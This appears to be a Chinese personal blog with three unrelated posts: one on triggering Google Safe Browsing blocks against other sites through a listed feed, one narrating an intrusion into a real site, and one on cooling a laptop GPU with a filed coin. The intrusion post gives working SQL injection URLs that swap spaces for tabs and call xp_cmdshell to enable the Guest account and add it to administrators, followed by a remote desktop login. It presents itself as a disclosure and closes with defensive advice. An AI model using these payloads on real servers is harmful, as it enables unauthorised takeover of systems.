很多时候得益于 Google Safe Browsing 可免于恶意代码攻击，但有时候此功能也会对用户造成困扰。

测试发现只要请求了在 Google Safe Browsing 中沦为黑名单中的站点资源（无论此页面是否为此域下甚至是本地页面），Chrome 浏览器提示禁止用户继续浏览页面。

那么想象下此情况会造成的影响，在任何可以输入内容的站点中，加入已知已被 Google Safe Browsing 扔到黑名单下的某域资源，那么该站点就会被牵连。

进一步的，我们可以做个这样的测试，使用 Chrome 打开 Google Reader ，订阅下面的 RSS 种子

http://feed.feedsky.com/malware

在你打开此 RSS 种子的条目时，Google Safe Browsing 的策略甚至无法让您继续正常浏览 Google Reader。

这虽然算不上安全漏洞，但对于「捉弄」目标站点，以及影响其他在 Google Safe Browsing 的策略下访问此站点的用户而言，已经能造成一定的困扰。

因此，当我们引用第三方资源时，尽可能的检查下对方是否在 Google Safe Browsing 的黑名单中，否则被「连坐」是很无辜的 :^(

注：上面的情况在 Google Chrome 4.0.237.0 中测试通过，Chromium 没有加入 Google Safe Browsing 无反应

-- EOF --

此漏洞已帮其修复，并知会当事人

SQL 注入 漏洞危害巨大，但 SQL 注入也经常的被发现，少不小心过滤不完全就有可能让整个应用陷入困境。

无意间发现某站点存在 SQL 注入漏洞，于是利用这个漏洞提权并获取服务器控制权。这个案例很典型，像是教科书式的典型入侵步骤，下面就以这个案例展示从 SQL 注入到获取目标服务器控制权限的全过程。

发现

访问某站点的搜索页面，发现输入单引号「'」就直接报错，这就说明这个页面存在 注入的可能。为了证实这点，首先闭合请求访问语句，然后对比返回结果的差异。

发现访问

http://foo/rss.aspx?keyword=lucky

以及

http://foo/rss.aspx?keyword=lucky'));--

都可以被执行，但是返回的结果不同。根据下面的错误信息，是注释掉了 ORDER BY 。

分析

根据上面的情况，能非常肯定的断定这个脚本存在很严重的 SQL 注入漏洞。下一步，尝试构建插入 SQL 语句

http://foo/rss.aspx?keyword=lucky'));SELECT%20SERVERPROPERTY%20('edition');--

发现服务器的报错信息为 SQL 语句语法错误，SQL 构建不成功。几次尝试注入均不成功，于是休息下先把重点放到服务器本身

扫描目标主机开放的端口，发现目标主机的 3389 端口是开放的。用远程桌面访问这个端口，可以访问。万事俱备，看来思路还得回到如何利用这个 SQL 注入漏洞。

此时灵光一现，是不是服务器的脚本分割用户输入的空格（%20），然后组成 SQL 语句查询？那么将空格转换成 TAB（%09）试试看，重新发起请求

http://foo/rss.aspx?keyword=lucky'));SELECT%09SERVERPROPERTY%09('edition');--

并没有报错，说明判断是正确的。接下来的事情就好办了，调用 SQL 外部命令将 Guest 用户解禁并加入管理组。

提权

解禁 Guest 用户

http://foo/rss.aspx?keyword=lucky'));exec%09Master..xp_CMDShell%09'net%09user%09guest%09/active:yes';--

相当于服务器执行

net user guest /active:yes

再将 Guest 加入到管理员组

http://foo/rss.aspx?keyword=lucky'));exec%09Master.xp_CMDShell%09'net%09localgroup%09administrators%09guest%09/add';--

相当于服务器执行

net localgroup administrators guest /add

上述请求顺利执行成功，然后打开目标主机的远程登录，输入用户名「guest」密码为空登录，结果顺利登录 （运气和相貌都很重要 :P）。

重新关上 Guest 帐户，并通知主机管理员，至此攻击结束。

后记

正如上文所描述的，SQL 漏洞危害非常的巨大，但我相信国内很多中小站点还普遍存在着这样的漏洞。这里有些个人的不完全建议

• 代码要对输入的参数做到充分的过滤，并尽可能得考虑极端情况
• 错误信息尽可能的少，否则无关的人看不懂而有心的人就会提起兴趣
• 不要以管理员的身份运行服务器进程
• 某些情况下， net 命令 对于攻击者而言就是「微软牌」的木马
• 严格控制远程登录访问者的来源
• 如果可能的情况下，不是很推荐使用 Windows 作为服务器操作系统

-- EOF --

该死的惠普，有时候也是「实惠但不靠谱」，特别是散热方面。终于忍受不了我笔记本的散热 问题了，决定非要搞定这事。

从 Google 那儿得知原来 这款机子设计上有问题 ， CPU 芯片和 GPU 芯片不在同一水平线上，因此 GPU 的散热无法直接通过金属散热片。更要 命的是惠普还用海绵将 GPU 和散热片垫起来（是怕压坏？），从而造成 GPU 的散热更加的 困难。

PC 的优势就这样发挥出来了， 三下五除二就用把螺丝刀将笔记本大卸八块 。拆开那销魂的主 板，发现事实果然如此。

中间的灰色物质便是海绵垫，看得出其实惠普是给 GPU 留个散热片的位置，但不过间隙实 在太大，因此没派上用场。

再来看看这块捣蛋鬼，现在 GPU 的发热量不比 CPU 低多少，难熬的还是用户自己。

去数码城搞定了散热硅胶以及相关的工具，里面的间隙我用的是硬币慢慢用锉刀和砂纸打磨 而成（别告发我破坏人民币呀）。

垫上打磨好的硬币，加上导热硅胶，使 GPU 直接和散热片接触（上面张为图例）， 这样据说这样就能解决问题了。

重新装回去，这花了我不少的时间，到最后还多出四颗小螺丝、少了三颗大螺丝。 测试了下温度，发现平时稍微跑个大型程序 GPU 温度就能狂飙 100 摄氏度的情况大有改善。基本上一晚 上按照平时的使用情况，GPU 的温度始终没有超过 70 摄氏度。

垫了块硬币就能直接降温三四十度？！我对这个结果感到很惊讶 -- 惠普不会穷得连每 台机子加个硬币的成本都没有把，我文明用语。

好吧，总结下今晚折腾的心得

• 将笔记本风扇清理干净，能让耳根清静不少
• 硬币一定要打磨光滑，尽可能大的增加与芯片的接触面积（我用的是 800 号的砂纸）。
• 最好是人民币一毛钱，因为它是铝制的。不过近些年的一毛钱硬币都是合金的了，所以最好用前几年的（铝制硬币要相对灰暗些，当然那如果你不差钱，用银币那更好）。
• 拆机的时候要记住螺丝的位置呀，否则要像我一样现在总想着要从哪里拆三颗螺丝下来。
• IBM 不做 PC 了，现在买什么牌子的 PC 笔记本真的很让人纠结。
• 买惠普一定要买商务机，不要像我贪便宜搞了台家用机活受罪。

最后，笔记本的散热问题一定要早解决，否则烤大腿是小事，影响子孙后代的质量可就是大 事了。

-- EOF --